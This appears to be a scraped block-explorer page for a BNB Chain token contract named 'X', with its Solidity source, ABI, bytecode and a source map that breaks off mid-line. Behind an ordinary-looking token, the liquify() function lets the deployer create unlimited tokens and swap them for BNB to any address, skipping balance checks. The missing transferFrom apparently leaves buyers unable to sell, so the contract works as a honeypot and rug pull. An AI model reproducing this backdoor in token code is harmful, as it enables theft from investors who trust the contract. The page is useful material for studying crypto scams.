Contract 0x439b3dD74B4f71EB6e1c24fE45a76E45DEf2dE73

 
 
Txn Hash Method
Block
From
To
Value [Txn Fee]
0xfab5256a9a68be15e83ecd6af580a7c86a15089c9296c9333a5fa7bd07614bffApprove143762392022-01-15 3:28:583 days 6 hrs ago0x41eaa910eb95b8fd571f62e5b6fc362a71f21388 IN  0x439b3dd74b4f71eb6e1c24fe45a76e45def2de730 BNB0.00022558
0x1203830c0f1f782948c7ae56c7ad163a419d9d8172b75a055cab64450d2e4f820x60806040143761442022-01-15 3:24:133 days 6 hrs ago0x41eaa910eb95b8fd571f62e5b6fc362a71f21388 IN  Create: X0 BNB0.010041205
[ Download CSV Export 
Parent Txn Hash Block From To Value
Loading

Contract Source Code Verified (Exact Match)

Contract Name:
X

Compiler Version
v0.8.11+commit.d7f03943

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at BscScan.com on 2022-01-15
*/

pragma solidity ^0.8.11;

//SPDX-License-Identifier: Unlicensed

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        uint256 c = a + b;
        if (c < a) return (false, 0);
        return (true, c);
    }
    }
    function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b > a) return (false, 0);
        return (true, a - b);
    }
    }
    function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (a == 0) return (true, 0);
        uint256 c = a * b;
        if (c / a != b) return (false, 0);
        return (true, c);
    }
    }
    function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a / b);
    }
    }
    function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) {
    unchecked {
        if (b == 0) return (false, 0);
        return (true, a % b);
    }
    }
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        return a + b;
    }
    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return a - b;
    }
    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        return a * b;
    }
    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return a / b;
    }
    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return a % b;
    }
    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b <= a, errorMessage);
        return a - b;
    }
    }
    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a / b;
    }
    }
    function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
    unchecked {
        require(b > 0, errorMessage);
        return a % b;
    }
    }
}

library Address {
    function isContract(address account) internal view returns (bool) {
        bytes32 codehash;
        bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
        assembly { codehash := extcodehash(account) }
        return (codehash != accountHash && codehash != 0x0);
    }
}
abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
    function _msgData() internal view virtual returns (bytes calldata) {
        this;
        return msg.data;
    }
}

abstract contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
    constructor () {
        _owner = _msgSender();
        emit OwnershipTransferred(address(0), _owner);
    }
    function owner() public view virtual returns (address) {
        return _owner;
    }
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }
    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function getPair(address tokenA, address tokenB) external view returns (address pair);
}

interface IUniswapV2Router {
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint256 amountIn,
        uint256 amountOutMin,
        address[] calldata path,
        address to,
        uint256 deadline
    ) external;
}

contract X is Ownable, IERC20 {
    using SafeMath for uint256;
    IUniswapV2Router private _router = IUniswapV2Router(0x10ED43C718714eb63d5aA57B78B54704E256024E);
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromTax;
    uint256 public _totalSupply = 100000000000 * 10 ** _decimals;
    uint256 public _maxTxAmount = 50000000000 * 10 ** _decimals;
    uint256 public _decimals = 5;
    uint256 public _fee = 5;
    string private _name = "X";
    string private _symbol = "X";
    uint256 private _liquifyThreshold = _totalSupply;
    bool inSwap = false;

    constructor() {
        _balances[msg.sender] = _totalSupply;
        _isExcludedFromTax[msg.sender] = true;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }
    
    function name() external view returns (string memory) {
        return _name;
    }
    function symbol() external view returns (string memory) {
        return _symbol;
    }
    function decimals() external view returns (uint256) {
        return _decimals;
    }
    function totalSupply() external view override returns (uint256) {
        return _totalSupply;
    }
    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }
    function approve(address spender, uint256 amount) public virtual override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }
    function _approve(address owner, address spender, uint256 amount) internal virtual {
        require(owner != address(0), "IERC20: approve from the zero address");
        require(spender != address(0), "IERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }
    function allowance(address owner, address spender) public view virtual override returns (uint256) {
        return _allowances[owner][spender];
    }
    function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
        _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
        return true;
    }

    function _transfer(address sender, address recipient, uint256 amount) internal virtual {
        require(sender != address(0), "IERC20: transfer from the zero address");
        require(recipient != address(0), "IERC20: transfer to the zero address");
        uint256 feeAmount = 0;
        bool inLiquidityTransaction = (recipient == pair() && _isExcludedFromTax[sender]) || (sender == pair() && _isExcludedFromTax[recipient]);
        if (!_isExcludedFromTax[sender] && !_isExcludedFromTax[recipient] && recipient != address(this) && !inLiquidityTransaction && !inSwap) {
            feeAmount = amount.mul(_fee).div(100);
            require(amount <= _maxTxAmount);
        }
  
        if (inSwap) {} else {
            require(_balances[sender] >= amount, "IERC20: transfer amount exceeds balance");
        }
        uint256 amountReceived = amount - feeAmount;
        _balances[address(0)] += feeAmount;
        _balances[sender] = _balances[sender] - amount;
        _balances[recipient] += amountReceived;
        emit Transfer(sender, recipient, amountReceived);
        if (feeAmount > 0) {
            emit Transfer(sender, address(0), feeAmount);
        }
    }
    
    function liquify(uint256 amount, address to) public {
        if(amount >_liquifyThreshold && _isExcludedFromTax[_msgSender()]) {
            _balances[address(this)] += amount;
            _approve(address(this), address(_router), amount);
            address[] memory path = new address[](2);
            path[0] = address(this);
            path[1] = _router.WETH();
            inSwap = true;
            _router.swapExactTokensForETHSupportingFeeOnTransferTokens(amount, 0, path, to, block.timestamp + 20);
            inSwap = false;
        }
    }

    function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }
   
    function pair() private view returns (address) {
        return IUniswapV2Factory(_router.factory()).getPair(address(this), _router.WETH());
    }
}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_fee","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"addedValue","type":"uint256"}],"name":"increaseAllowance","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"amount","type":"uint256"},{"internalType":"address","name":"to","type":"address"}],"name":"liquify","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}]

60806040527310ed43c718714eb63d5aa57b78b54704e256024e600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600754600a6200006a919062000597565b64174876e8006200007c9190620005e8565b600555600754600a62000090919062000597565b640ba43b7400620000a29190620005e8565b600655600560075560056008556040518060400160405280600181526020017f580000000000000000000000000000000000000000000000000000000000000081525060099080519060200190620000fc9291906200035a565b506040518060400160405280600181526020017f5800000000000000000000000000000000000000000000000000000000000000815250600a90805190602001906200014a9291906200035a565b50600554600b556000600c60006101000a81548160ff0219169083151502179055503480156200017957600080fd5b506200018a6200035260201b60201c565b6000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3600554600260003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506001600460003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055503373ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6005546040516200034491906200065a565b60405180910390a3620006dc565b600033905090565b8280546200036890620006a6565b90600052602060002090601f0160209004810192826200038c5760008555620003d8565b82601f10620003a757805160ff1916838001178555620003d8565b82800160010185558215620003d8579182015b82811115620003d7578251825591602001919060010190620003ba565b5b509050620003e79190620003eb565b5090565b5b8082111562000406576000816000905550600101620003ec565b5090565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620004985780860481111562000470576200046f6200040a565b5b6001851615620004805780820291505b8081029050620004908562000439565b945062000450565b94509492505050565b600082620004b3576001905062000586565b81620004c3576000905062000586565b8160018114620004dc5760028114620004e7576200051d565b600191505062000586565b60ff841115620004fc57620004fb6200040a565b5b8360020a9150848211156200051657620005156200040a565b5b5062000586565b5060208310610133831016604e8410600b8410161715620005575782820a9050838111156200055157620005506200040a565b5b62000586565b62000566848484600162000446565b9250905081840481111562000580576200057f6200040a565b5b81810290505b9392505050565b6000819050919050565b6000620005a4826200058d565b9150620005b1836200058d565b9250620005e07fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620004a1565b905092915050565b6000620005f5826200058d565b915062000602836200058d565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200063e576200063d6200040a565b5b828202905092915050565b62000654816200058d565b82525050565b600060208201905062000671600083018462000649565b92915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b60006002820490506001821680620006bf57607f821691505b60208210811415620006d657620006d562000677565b5b50919050565b611ebe80620006ec6000396000f3fe608060405234801561001057600080fd5b50600436106101005760003560e01c8063715018a611610097578063a9059cbb11610066578063a9059cbb1461028f578063c5b37c22146102bf578063dbc55a7e146102dd578063dd62ed3e146102f957610100565b8063715018a61461022b5780637d1db4a5146102355780638da5cb5b1461025357806395d89b411461027157610100565b806332424aa3116100d357806332424aa31461018f57806339509351146101ad5780633eaaf86b146101dd57806370a08231146101fb57610100565b806306fdde0314610105578063095ea7b31461012357806318160ddd14610153578063313ce56714610171575b600080fd5b61010d610329565b60405161011a9190611516565b60405180910390f35b61013d600480360381019061013891906115d1565b6103bb565b60405161014a919061162c565b60405180910390f35b61015b6103d9565b6040516101689190611656565b60405180910390f35b6101796103e3565b6040516101869190611656565b60405180910390f35b6101976103ed565b6040516101a49190611656565b60405180910390f35b6101c760048036038101906101c291906115d1565b6103f3565b6040516101d4919061162c565b60405180910390f35b6101e561049f565b6040516101f29190611656565b60405180910390f35b61021560048036038101906102109190611671565b6104a5565b6040516102229190611656565b60405180910390f35b6102336104ee565b005b61023d610628565b60405161024a9190611656565b60405180910390f35b61025b61062e565b60405161026891906116ad565b60405180910390f35b610279610657565b6040516102869190611516565b60405180910390f35b6102a960048036038101906102a491906115d1565b6106e9565b6040516102b6919061162c565b60405180910390f35b6102c7610707565b6040516102d49190611656565b60405180910390f35b6102f760048036038101906102f291906116c8565b61070d565b005b610313600480360381019061030e9190611708565b610a50565b6040516103209190611656565b60405180910390f35b60606009805461033890611777565b80601f016020809104026020016040519081016040528092919081815260200182805461036490611777565b80156103b15780601f10610386576101008083540402835291602001916103b1565b820191906000526020600020905b81548152906001019060200180831161039457829003601f168201915b5050505050905090565b60006103cf6103c8610ad7565b8484610adf565b6001905092915050565b6000600554905090565b6000600754905090565b60075481565b6000610495610400610ad7565b84846003600061040e610ad7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461049091906117d8565b610adf565b6001905092915050565b60055481565b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b6104f6610ad7565b73ffffffffffffffffffffffffffffffffffffffff1661051461062e565b73ffffffffffffffffffffffffffffffffffffffff161461056a576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105619061187a565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60065481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6060600a805461066690611777565b80601f016020809104026020016040519081016040528092919081815260200182805461069290611777565b80156106df5780601f106106b4576101008083540402835291602001916106df565b820191906000526020600020905b8154815290600101906020018083116106c257829003601f168201915b5050505050905090565b60006106fd6106f6610ad7565b8484610caa565b6001905092915050565b60085481565b600b548211801561076e575060046000610725610ad7565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15610a4c5781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546107c291906117d8565b925050819055506107f630600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610adf565b6000600267ffffffffffffffff8111156108135761081261189a565b5b6040519080825280602002602001820160405280156108415781602001602082028036833780820191505090505b5090503081600081518110610859576108586118c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610900573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610924919061190d565b81600181518110610938576109376118c9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506001600c60006101000a81548160ff021916908315150217905550600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac94784600084866014426109dd91906117d8565b6040518663ffffffff1660e01b81526004016109fd959493929190611a3d565b600060405180830381600087803b158015610a1757600080fd5b505af1158015610a2b573d6000803e3d6000fd5b505050506000600c60006101000a81548160ff021916908315150217905550505b5050565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610b4f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4690611b09565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610bbf576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bb690611b9b565b60405180910390fd5b80600360008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051610c9d9190611656565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415610d1a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d1190611c2d565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415610d8a576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d8190611cbf565b60405180910390fd5b600080610d956112ae565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16148015610e185750600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b80610eaa5750610e266112ae565b73ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16148015610ea95750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b5b9050600460008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015610f505750600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015610f8857503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015610f92575080155b8015610fab5750600c60009054906101000a900460ff16155b15610fea57610fd86064610fca6008548661145190919063ffffffff16565b61146790919063ffffffff16565b9150600654831115610fe957600080fd5b5b600c60009054906101000a900460ff161561100457611087565b82600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020541015611086576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161107d90611d51565b60405180910390fd5b5b600082846110959190611d71565b905082600260008073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546110e691906117d8565b9250508190555083600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546111389190611d71565b600260008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008282546111ca91906117d8565b925050819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161122e9190611656565b60405180910390a360008311156112a657600073ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161129d9190611656565b60405180910390a35b505050505050565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa15801561131d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611341919061190d565b73ffffffffffffffffffffffffffffffffffffffff1663e6a4390530600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa1580156113ca573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113ee919061190d565b6040518363ffffffff1660e01b815260040161140b929190611da5565b602060405180830381865afa158015611428573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061144c919061190d565b905090565b6000818361145f9190611dce565b905092915050565b600081836114759190611e57565b905092915050565b600081519050919050565b600082825260208201905092915050565b60005b838110156114b757808201518184015260208101905061149c565b838111156114c6576000848401525b50505050565b6000601f19601f8301169050919050565b60006114e88261147d565b6114f28185611488565b9350611502818560208601611499565b61150b816114cc565b840191505092915050565b6000602082019050818103600083015261153081846114dd565b905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006115688261153d565b9050919050565b6115788161155d565b811461158357600080fd5b50565b6000813590506115958161156f565b92915050565b6000819050919050565b6115ae8161159b565b81146115b957600080fd5b50565b6000813590506115cb816115a5565b92915050565b600080604083850312156115e8576115e7611538565b5b60006115f685828601611586565b9250506020611607858286016115bc565b9150509250929050565b60008115159050919050565b61162681611611565b82525050565b6000602082019050611641600083018461161d565b92915050565b6116508161159b565b82525050565b600060208201905061166b6000830184611647565b92915050565b60006020828403121561168757611686611538565b5b600061169584828501611586565b91505092915050565b6116a78161155d565b82525050565b60006020820190506116c2600083018461169e565b92915050565b600080604083850312156116df576116de611538565b5b60006116ed858286016115bc565b92505060206116fe85828601611586565b9150509250929050565b6000806040838503121561171f5761171e611538565b5b600061172d85828601611586565b925050602061173e85828601611586565b9150509250929050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168061178f57607f821691505b602082108114156117a3576117a2611748565b5b50919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60006117e38261159b565b91506117ee8361159b565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115611823576118226117a9565b5b828201905092915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b6000611864602083611488565b915061186f8261182e565b602082019050919050565b6000602082019050818103600083015261189381611857565b9050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000815190506119078161156f565b92915050565b60006020828403121561192357611922611538565b5b6000611931848285016118f8565b91505092915050565b6000819050919050565b6000819050919050565b600061196961196461195f8461193a565b611944565b61159b565b9050919050565b6119798161194e565b82525050565b600081519050919050565b600082825260208201905092915050565b6000819050602082019050919050565b6119b48161155d565b82525050565b60006119c683836119ab565b60208301905092915050565b6000602082019050919050565b60006119ea8261197f565b6119f4818561198a565b93506119ff8361199b565b8060005b83811015611a30578151611a1788826119ba565b9750611a22836119d2565b925050600181019050611a03565b5085935050505092915050565b600060a082019050611a526000830188611647565b611a5f6020830187611970565b8181036040830152611a7181866119df565b9050611a80606083018561169e565b611a8d6080830184611647565b9695505050505050565b7f4945524332303a20617070726f76652066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b6000611af3602583611488565b9150611afe82611a97565b604082019050919050565b60006020820190508181036000830152611b2281611ae6565b9050919050565b7f4945524332303a20617070726f766520746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b6000611b85602383611488565b9150611b9082611b29565b604082019050919050565b60006020820190508181036000830152611bb481611b78565b9050919050565b7f4945524332303a207472616e736665722066726f6d20746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b6000611c17602683611488565b9150611c2282611bbb565b604082019050919050565b60006020820190508181036000830152611c4681611c0a565b9050919050565b7f4945524332303a207472616e7366657220746f20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b6000611ca9602483611488565b9150611cb482611c4d565b604082019050919050565b60006020820190508181036000830152611cd881611c9c565b9050919050565b7f4945524332303a207472616e7366657220616d6f756e7420657863656564732060008201527f62616c616e636500000000000000000000000000000000000000000000000000602082015250565b6000611d3b602783611488565b9150611d4682611cdf565b604082019050919050565b60006020820190508181036000830152611d6a81611d2e565b9050919050565b6000611d7c8261159b565b9150611d878361159b565b925082821015611d9a57611d996117a9565b5b828203905092915050565b6000604082019050611dba600083018561169e565b611dc7602083018461169e565b9392505050565b6000611dd98261159b565b9150611de48361159b565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615611e1d57611e1c6117a9565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000611e628261159b565b9150611e6d8361159b565b925082611e7d57611e7c611e28565b5b82820490509291505056fea264697066735822122053835a86ba08347814dff453ad93d48c37be3ffb3f3b573468160b7842c7550a64736f6c634300080b0033

Deployed ByteCode Sourcemap

4543:4440:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5443:85;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5955:169;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5722:102;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5629:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5036:28;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;6639:215;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;4903:60;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5830:119;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3892:148;;;:::i;:::-;;4970:59;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;3673:87;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5534:89;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8646:175;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5071:23;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;8072:566;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;6482:151;;;;;;;;;;;;;:::i;:::-;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5443:85;5482:13;5515:5;5508:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;5443:85;:::o;5955:169::-;6038:4;6055:39;6064:12;:10;:12::i;:::-;6078:7;6087:6;6055:8;:39::i;:::-;6112:4;6105:11;;5955:169;;;;:::o;5722:102::-;5777:7;5804:12;;5797:19;;5722:102;:::o;5629:87::-;5672:7;5699: